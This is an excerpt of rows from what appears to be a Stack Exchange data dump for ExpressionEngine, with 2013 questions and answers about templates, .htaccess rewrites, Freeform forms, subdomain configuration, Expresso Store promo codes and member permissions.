  <row Id="12507" PostTypeId="2" ParentId="5457" CreationDate="2013-08-06T02:00:48.030" Score="1" Body="&lt;p&gt;(To answer a request on what I did)&#xA;I used a list of folder that .load a template of files like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL: site.com/downloads/me/blair&#xA;Username is required in the URL so the segment variable can be used to parse early enough. logged_in_username won't work alone.  There are addons to get around this, might do that in the future, but I couldn't find a native EE way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File Directory:&#xA;home&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- blair&#xA;- - Folder 1&#xA;- - - file1&#xA;- - - file2&#xA;- - - file3&#xA;- - Folder 2&#xA;- - - file4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Folders:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  {exp:assets:folders parent_folder=&quot;{filedir_29}{segment_3}&quot; recursive=&quot;no&quot;}&#xA;  &amp;lt;li&amp;gt;&#xA;    &amp;lt;a href=&quot;{path='downloads/_assets'}/{folder_id}/{username}&quot;&amp;gt;{folder_name}&amp;lt;/a&amp;gt;&#xA;    {if total_subfolders}&#xA;      &amp;lt;ul&amp;gt;&#xA;      {subfolders}&#xA;      &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;  &amp;lt;/li&amp;gt;&#xA;  {/exp:assets:folders}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Files:&#xA;URL: site.com/downloads/me/1234 (folder id)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:assets:files folder_id=&quot;{segment_3}&quot;}&#xA;    {exp:link_vault:download_link file_path='{server_path}' text=&quot;{filename}&quot;}&#xA;      {!-- File display stuff --}&#xA;      {!-- Ex: --}&#xA;      {server_path} - {filename}...etc. &#xA;    {/exp:link_vault:download_link}    &#xA;{/exp:assets:files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have some protection, such as wrapping it in a {if segment_3 !=&quot;&quot;} so it won't show every single folder (kaboom!) and {if segment_3 != logged_in_username}.  We've also added member_group==&quot;1&quot; to that last conditional so we can check other users list of files quickly, and we don't run a public system to worry about security, all campus internal stuff.  Link vault to track downloads and there's another template to post files publicly that does need link limitations &amp;amp; hiding.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qfpZZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="843" LastActivityDate="2013-08-06T02:00:48.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12508" PostTypeId="2" ParentId="12506" CreationDate="2013-08-06T02:03:42.833" Score="4" Body="&lt;p&gt;Can you try by making change into the file &quot;system/expressionengine/modules/email/mod.email.php&quot;. In this module file, around line number 28, you can see the variable &lt;code&gt;$email_time_interval&lt;/code&gt;. Set its value as 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;======================EDITED===================&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found it. There is a hidden config variable &lt;code&gt;prv_msg_throttling_period&lt;/code&gt; for it. so you need to set this config variable within config file system/expressionengine/config/config.php like:&#xA;&lt;code&gt;$config['prv_msg_throttling_period'] = '1';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#prv-msg-throttling-period&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#prv-msg-throttling-period&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-08-06T04:55:47.290" LastActivityDate="2013-08-06T04:55:47.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12509" PostTypeId="2" ParentId="12498" CreationDate="2013-08-06T02:08:29.337" Score="1" Body="&lt;p&gt;You should try &lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;MX Auto Password&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;MX Notify Control&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-06T02:08:29.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12510" PostTypeId="2" ParentId="12477" CreationDate="2013-08-06T05:59:19.900" Score="2" Body="&lt;p&gt;Yes, you can prepare an array which would contain the custom field name and id like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fields = array();&#xA;&#xA;$query = $ee()-&amp;gt;db-&amp;gt;query(&quot;SELECT exp_channel_fields.field_id, exp_channel_fields.field_name FROM exp_channel_fields&#xA;LEFT JOIN exp_channels ON exp_channel_fields.group_id=exp_channels.field_group &#xA;WHERE exp_channels.channel_name='[CHANNEL NAME]'&quot;);&#xA;&#xA;foreach($query-&amp;gt;result_array() as $row){&#xA;    $fields[$row['field_name']] = 'field_id_'.$row['field_id'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now within the &lt;code&gt;WHERE&lt;/code&gt; condition you can put like:&#xA;&lt;code&gt;WHERE $fields['my_custom_field '] = 'some value'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-06T05:59:19.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12511" PostTypeId="1" AcceptedAnswerId="12529" CreationDate="2013-08-06T06:24:52.217" Score="0" ViewCount="15119" Body="&lt;p&gt;I moved my site to a new hoster. Everything works fine (Images path's js css templates, all fine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I adjusted all path's with Reelocate. But all the Link in the Navigation throw back this error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Not Found&#xA;The requested URL /subdirectory/segment_1/entry was not found on this server.&#xA;Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It must have something to do with the subdirectory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the webroot I have a .htaccess with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} ^domain.com$ [OR]&#xA;RewriteCond %{HTTP_HOST} ^www.domain.com$&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteRule ^(.*)$ /subdirectory/$1 [PT,L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in /subdirectory I have this .htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;# Remove www.&#xA;    RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xA;    RewriteRule ^(.*)$ http://%1/$1 [L,R=301]&#xA;&#xA;RewriteEngine off&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I miss something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sollution of Alexa Lohmeyer worked. Here is how it looks if anybody is intrested:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One main error was that I had &lt;code&gt;RewriteEngine off&lt;/code&gt; which somehow even disabled removing index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the root .htaccess looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;&#xA;#Remove www&#xA;RewriteCond %{HTTP_HOST} ^www.domain.com$ [NC]&#xA;RewriteRule ^(.*)$ http://domain.com/$1 [R=301,L]&#xA;&#xA;#Hosting directive for pointing url to subfolder&#xA;RewriteCond %{HTTP_HOST} ^domain.com$ [OR]&#xA;RewriteCond %{HTTP_HOST} ^www.domain.com$&#xA;RewriteRule ^(.*)$ /subdirectory/$1 [PT,L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in the .htaccess of the subdirectory it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&#xA;# Removes subdirectory from url string&#xA;RewriteRule ^subdirectory/index.php?(.*)$ /$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="184" LastEditorUserId="184" LastEditDate="2013-08-07T07:17:11.660" LastActivityDate="2017-01-03T16:05:01.653" Title="Remove index.php and subdirectory in url string" Tags="|htaccess|migration|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12512" PostTypeId="1" CreationDate="2013-08-06T09:09:49.223" Score="1" ViewCount="1223" Body="&lt;p&gt;Is it possible within Freeform Pro to set the return path of a form to the current page (ie. if the form is in the template &quot;contact/index&quot;, set &lt;code&gt;return=&quot;contact/index&quot;&lt;/code&gt;) and then when it loads the page again and parses the Freeform tag, it runs a check to see if it was sent successfully and display a message and possibly prevent the form from being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, I'm looking for the same functionality as you would get with a normal PHP check such as &lt;code&gt;if($mail) { echo 'Success'; // hide form } else { echo 'Error'; // display form }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do this with native EE/Freeform tags or would I have to build something in PHP? If the case is the latter, how would I check it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.5.2 with Freeform Pro 4.0.12.&lt;/p&gt;&#xA;" OwnerUserId="1646" LastActivityDate="2013-09-22T17:40:32.120" Title="Freeform Pro check form submitted on same page return" Tags="|php|solspace-freeform|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12513" PostTypeId="1" CreationDate="2013-08-06T11:59:05.833" Score="0" ViewCount="158" Body="&lt;p&gt;I have setup my checkout templates exactly like the ones in the example templates, yet bizarely when I check the option &quot;shipping same as billing&quot; the system no longer collects address line 1,2 or three or the city. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing this? &lt;/p&gt;&#xA;" OwnerUserId="782" LastActivityDate="2013-11-01T22:35:12.473" Title="&quot;shipping same as billing&quot; causing address not to be captured" Tags="|expresso-store|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12515" PostTypeId="2" ParentId="12512" CreationDate="2013-08-06T13:49:16.397" Score="1" Body="&lt;p&gt;Not sure you can do it cleanly with the exact same URL - at least I've not tried it - but you can use the prevent_duplicate_on parameter to limit submission by member id, IP address or email address (as entered by user). Then use the if freeform:duplicate conditional to present the user with a message (and avoid presenting the form again). But that's potentially somewhat limiting if with a general contact form, the user may have a legitimate reason for submitting more than once, for example.  But if you want to remove the form from the post-submission message, you can simply accomplish that with segments, as with this example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == thank-you}&#xA;    Display post-submission thank you message.&#xA;{if:else}&#xA;    {exp:freeform:form form_name=&quot;contact&quot; return=&quot;{segment_1}/thank-you&quot;}&#xA;        Insert my form fields here&#xA;    {/exp:freeform:form}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then is the user returns to the page that displays the form (at whatever segment 1 is, in this example), they are still presented with the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-06T13:49:16.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12516" PostTypeId="2" ParentId="12473" CreationDate="2013-08-06T13:59:24.950" Score="3" Body="&lt;p&gt;I suspect the variable portfolio_size is actually a custom field in your portfolio channel. So you just need to simplify a little, wrapping your entries loop around the switchee tag pair.  So something like this is what you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;portfolio&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limt=&quot;1&quot;}&#xA;    {exp:switchee parse=&quot;inward&quot; variable=&quot;portfolio_size&quot;}&#xA;        {case value=&quot;small&quot;}&#xA;            &amp;lt;!-- start small portfolio --&amp;gt;&#xA;    &amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;span8&quot;&amp;gt;&#xA;                            &amp;lt;article&amp;gt;&#xA;                            &amp;lt;div class=&quot;top-wrapper&quot;&amp;gt;&#xA;                                    &amp;lt;!-- start flexslider --&amp;gt;&#xA;                                    &amp;lt;div class=&quot;flexslider port&quot;&amp;gt;&#xA;                                            &amp;lt;ul class=&quot;slides&quot;&amp;gt;&#xA;                                            &amp;lt;!-- matrix field --&amp;gt;&#xA;                                                    {portfolio_images}&#xA;                                                    &amp;lt;li&amp;gt;&#xA;                                                    {exp:ce_img:single src=&quot;{portfolio_image}&quot; width=&quot;612&quot; height=&quot;408&quot; crop=&quot;yes&quot; alt=&quot;{portfolio_image_title}}&#xA;                                                    &amp;lt;/li&amp;gt;&#xA;                                                    {/portfolio_images}&#xA;                                            &amp;lt;/ul&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;!-- end flexslider --&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/article&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;                            &amp;lt;aside class=&quot;right-sidebar&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;widget-title&quot;&amp;gt;&amp;lt;h5 class=&quot;widgetheading&quot;&amp;gt;Project informations:&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;ul class=&quot;folio-detail&quot;&amp;gt;&#xA;                                            &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Category:&amp;lt;/label&amp;gt; &amp;amp;nbsp;{categories}{category_name}{/categories}&amp;lt;/li&amp;gt;&#xA;                                            &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Client:&amp;lt;/label&amp;gt; &amp;amp;nbsp;{portfolio_client}&amp;lt;/li&amp;gt;&#xA;                                            &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Project Date:&amp;lt;/label&amp;gt;&amp;amp;nbsp; {portfolio_date}&amp;lt;/li&amp;gt;&#xA;                                            {if portfolio_url}&#xA;                                            &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Project link:&amp;lt;/label&amp;gt;&amp;lt;a href=&quot;{portfolio_url}&quot; target=&quot;_blank&quot;&amp;gt; &amp;amp;nbsp;{portfolio_url}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                            {/if}&#xA;                                    &amp;lt;/ul&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA;                                    &amp;lt;div class=&quot;widget-title&quot;&amp;gt;&amp;lt;h5 class=&quot;widgetheading&quot;&amp;gt;About this project&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;{portfolio_texto}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;/aside&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;        &amp;lt;!-- end small portfolio --&amp;gt;&#xA;        {/case}&#xA;        {case value=&quot;bigger&quot;}&#xA;            SAME IDEA AS SMALL - JUST PUT ALL YOUR BIGGER CASE MARKUP HERE&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-06T13:59:24.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12517" PostTypeId="1" CreationDate="2013-08-06T14:03:46.993" Score="6" ViewCount="804" Body="&lt;p&gt;What is the best directory structure to adopt when setting up a website based on this url structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.example.com - home page&#xA;subdomain1.example.com&#xA;subdomain2.example.com&#xA;subdomain3.example.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am told this is difficult to setup with expressionengine out of the box and needs some fancy .htaccess code to rewrite urls e.t.c.  If i didn't want to go that route, what are my options?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this easier if each subdomain had its own ee install? Do i need to use some sort of CNAME mapping?  ideally, I'd like all sub pages under each subdomain to correctly show the url structure i.e &quot;subdomain1.example.com/page1&quot;  vs  &quot;www.example.com/subdomain/page1&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2014-09-23T19:07:10.400" Title="Setting Up Sub Domains" Tags="|ee2|subdomain|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12518" PostTypeId="5" CreationDate="2013-08-06T14:18:39.710" Score="0" Body="&lt;p&gt;A popular commercial Add-on providing enhanced search functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExpressionEngine’s native channel:entries tag allows you to fetch and&#xA;  filter entries in many ways by setting its parameters. The native&#xA;  Search module allows for filtering by keyword, but it’s limited in its&#xA;  capabilities. Imagine combining the two into one module and then throw&#xA;  in extra features, filters, and a performance boost. That is Low&#xA;  Search.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More information can be found at &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-06T14:57:39.947" LastActivityDate="2013-08-06T14:57:39.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12519" PostTypeId="4" CreationDate="2013-08-06T14:18:39.710" Score="0" Body="A popular commercial Add-on providing enhanced search functionality." OwnerUserId="27" LastEditorUserId="27" LastEditDate="2013-08-06T14:57:42.713" LastActivityDate="2013-08-06T14:57:42.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12520" PostTypeId="1" AcceptedAnswerId="12522" CreationDate="2013-08-06T14:51:15.217" Score="1" ViewCount="486" Body="&lt;p&gt;Anyone seen this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm logged in as the client who is under the member's group (I believe I have set all the required permissions, can't see anything obvious that would restrict this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try and re-submit an entry in the client's account where the Author is the Super Admin, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zXwYC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/zXwYC.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1861" LastActivityDate="2013-10-17T14:37:50.920" Title="entry submission error logged in as client user - &quot;You are not authorized to perform this action&quot;" Tags="|members|error|entry|permissions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12521" PostTypeId="1" AcceptedAnswerId="12523" CreationDate="2013-08-06T14:55:41.567" Score="1" ViewCount="211" Body="&lt;p&gt;I've set up a Promo code on my site with the setting for 'Restrict to Member Group' set to 'all'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the promo code only works if you are a logged in user, not if you are a guest. Even setting 'Restrict to Member Group' to 'guest' doesn't allow the promo code to be used by non-members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is seems to be a bug, has any one else any experience of this or even promo codes in general. This is the first time I have used one!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-08-06T14:59:43.507" Title="Expresso Store: Promo Code with no user restrictions" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12522" PostTypeId="2" ParentId="12520" CreationDate="2013-08-06T14:57:27.510" Score="3" Body="&lt;p&gt;Check this permission for their member group: &lt;em&gt;Can change the author name when posting channel entries&lt;/em&gt;. (Under Members &amp;rarr; Member Groups &amp;rarr; Edit Member Group.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j9BAH.png&quot; alt=&quot;Member Group Preferences&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-06T14:57:27.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12523" PostTypeId="2" ParentId="12521" CreationDate="2013-08-06T14:59:43.507" Score="2" Body="&lt;p&gt;My issue was that I had set a usage 'Limit per user'. This requires a user to be logged in. Removing that value from the settings made it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10437/promotion-code-errors-on-expresso-store?rq=1&quot;&gt;Promotion Code Errors on Expresso Store&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-08-06T14:59:43.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12524" PostTypeId="2" ParentId="12517" CreationDate="2013-08-06T17:25:03.997" Score="5" Body="&lt;p&gt;Looks like you need &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/index.html&quot; rel=&quot;nofollow&quot;&gt;Multiple Site Manager&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if all your subdomains are part of the same website, there's a technique I use on multiple language websites that can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two possible setups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the first one, your directories need to follow this structure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/system&lt;/li&gt;&#xA;&lt;li&gt;/domain.com&lt;/li&gt;&#xA;&lt;li&gt;/domain.com/images&lt;/li&gt;&#xA;&lt;li&gt;/domain.com/themes&lt;/li&gt;&#xA;&lt;li&gt;/domain.com/index.php&lt;/li&gt;&#xA;&lt;li&gt;/domain.com/admin.php&lt;/li&gt;&#xA;&lt;li&gt;/sub.domain.com&lt;/li&gt;&#xA;&lt;li&gt;/subdomain.com/index.php&lt;/li&gt;&#xA;&lt;li&gt;/sub2.domain.com&lt;/li&gt;&#xA;&lt;li&gt;/sub2.domain.com/index.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each index.php has its own settings about the url of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second and my favorite option is to set all domains to use the same folder on server and add a conditional on system/expressionengine/config.php to set all the variables you need. For example, you can have a specific default category_group or channel for every domain.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $assign_to_config;&#xA;&#xA;if(!isset($assign_to_config['global_vars']))&#xA;$assign_to_config['global_vars'] = array();&#xA;&#xA;// set the site_url to the current domain being accessed&#xA;$assign_to_config['site_url']   = 'http://'.$_SERVER['HTTP_HOST'];&#xA;&#xA;// different settings and variables for every domain&#xA;if ($_SERVER['HTTP_HOST'] == 'www.domain.com' || $_SERVER['HTTP_HOST'] == 'domain.com')&#xA;{&#xA;    $assign_to_config['xml_lang']   = 'en';&#xA;    $assign_to_config['language']   = 'en';&#xA;    $assign_to_config['global_vars']['cv_cat_group'] = 1;&#xA;    $assign_to_config['global_vars']['cv_channel'] = 'main_domain';&#xA;    [...]&#xA;}&#xA;else&#xA;{&#xA;    $assign_to_config['xml_lang'] = 'pt';&#xA;    $assign_to_config['language'] = 'pt';&#xA;    $assign_to_config['global_vars']['cv_cat_group'] = 2;&#xA;    $assign_to_config['global_vars']['cv_channel'] = 'subdomain';&#xA;    [...]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can access this custom config variables right on templates: &lt;code&gt;{cv_cat_group}&lt;/code&gt; and &lt;code&gt;{cv_channel}&lt;/code&gt;. They are early parsed, so you can use them inside your modules variables pairs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{cv_channel}&quot; [...]}&#xA;  [...]&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I said, this technique works really well for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't use the same directory to all sites, use the setup I suggested on option 1.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-08-15T21:06:47.887" LastActivityDate="2013-08-15T21:06:47.887" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12525" PostTypeId="2" ParentId="141" CreationDate="2013-08-06T17:46:54.617" Score="0" Body="&lt;p&gt;All ended up with me using a totally separate application for images, Koken, with added styling similar to the main site. &lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2013-08-06T17:46:54.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12526" PostTypeId="1" CreationDate="2013-08-06T18:16:43.137" Score="4" ViewCount="182" Body="&lt;p&gt;I've been chasing this for a full 8 hours now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the Focus Lab Master Config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All files on the front end - both locally and on my staging server - display perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;can&lt;/em&gt; log into CP locally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I *cannot log into CP on staging. I get the white screen of death.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I turned on debugging. When I access the CP, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred Error&#xA;Number: 1054&#xA;Unknown column 'session_id' in 'field list'&#xA;INSERT INTO exp_security_hashes (date, hash, session_id) VALUES (1375809948,'fa2ebb013799a26b30d4acb1964d3156111bb5ff',0) Filename: core/EE_Security.php Line Number: 158&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've attempted as many solutions as I could dig up from Google. Does anything in this particular situation stand out as being the most likely culprit?&lt;/p&gt;&#xA;" OwnerUserId="1862" LastEditorUserId="150" LastEditDate="2013-08-07T15:27:01.497" LastActivityDate="2013-12-12T00:38:21.543" Title="I can log in to CP locally, but not on staging server? White screen of death" Tags="|control-panel|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12527" PostTypeId="1" CreationDate="2013-08-06T18:52:24.793" Score="1" ViewCount="58" Body="&lt;p&gt;EE 2.3.1&#xA;Playa 4.4.5&#xA;I'm just looking to return the children for a given entry.&#xA;Playa is only returning the children that are in the same channel as the parent.&#xA;This works as expected on my testing server (EE2.6.1).&#xA;This is all that is in the template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;slider&quot;}&#xA;&amp;lt;h3&amp;gt;{title}-{entry_id}&amp;lt;/h3&amp;gt;&#xA; &amp;lt;ul&amp;gt;&#xA;{slider_articles}&#xA;&amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{/slider_articles}&#xA; &amp;lt;/ul&amp;gt;&#xA;{exp:playa:total_children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;yet specifying  {exp:playa:child_ids entry_id=&quot;1234&quot;} returns all the correct related id's.&#xA;All the data looks correct in the exp_playa_relationships table.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-08-06T19:04:38.977" Title="Playa only returning children in same channel" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
